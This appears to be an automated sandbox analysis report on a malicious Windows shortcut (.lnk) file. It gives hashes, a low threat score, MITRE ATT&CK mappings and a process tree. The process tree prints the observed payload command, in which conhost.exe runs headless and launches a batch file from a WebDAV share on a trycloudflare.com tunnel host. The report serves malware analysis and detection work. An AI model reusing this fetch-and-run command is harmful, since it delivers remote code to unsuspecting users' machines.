5e5d501329aa1482df6fab3da7b839bc0b0f049cc9c1ebd79860e1d7b0e0086d

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
13/09/2024, 01:21

Target

5e5d501329aa1482df6fab3da7b839bc0b0f049cc9c1ebd79860e1d7b0e0086d.lnk
Size

1KB
MD5

526d4eb3a66830fe999eedf188597d1d
SHA1

576456543591f954837815cce7810698e59dfcc8
SHA256

5e5d501329aa1482df6fab3da7b839bc0b0f049cc9c1ebd79860e1d7b0e0086d
SHA512

f34f1fdb6faa9a001345cb876a97fadae06c3b493ad1599b52408418122929f9014eb5ecf78768e2c82cfdc4371f3589589773e45717638f822afcde407e27b5

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 2872	2988	cmd.exe	31
PID 2988 wrote to memory of 2872	2988	cmd.exe	31
PID 2988 wrote to memory of 2872	2988	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\5e5d501329aa1482df6fab3da7b839bc0b0f049cc9c1ebd79860e1d7b0e0086d.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless \\replication-matches-fixes-casa.trycloudflare.com@SSL\DavWWWRoot\new.bat
  2⤵
  PID:2872

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact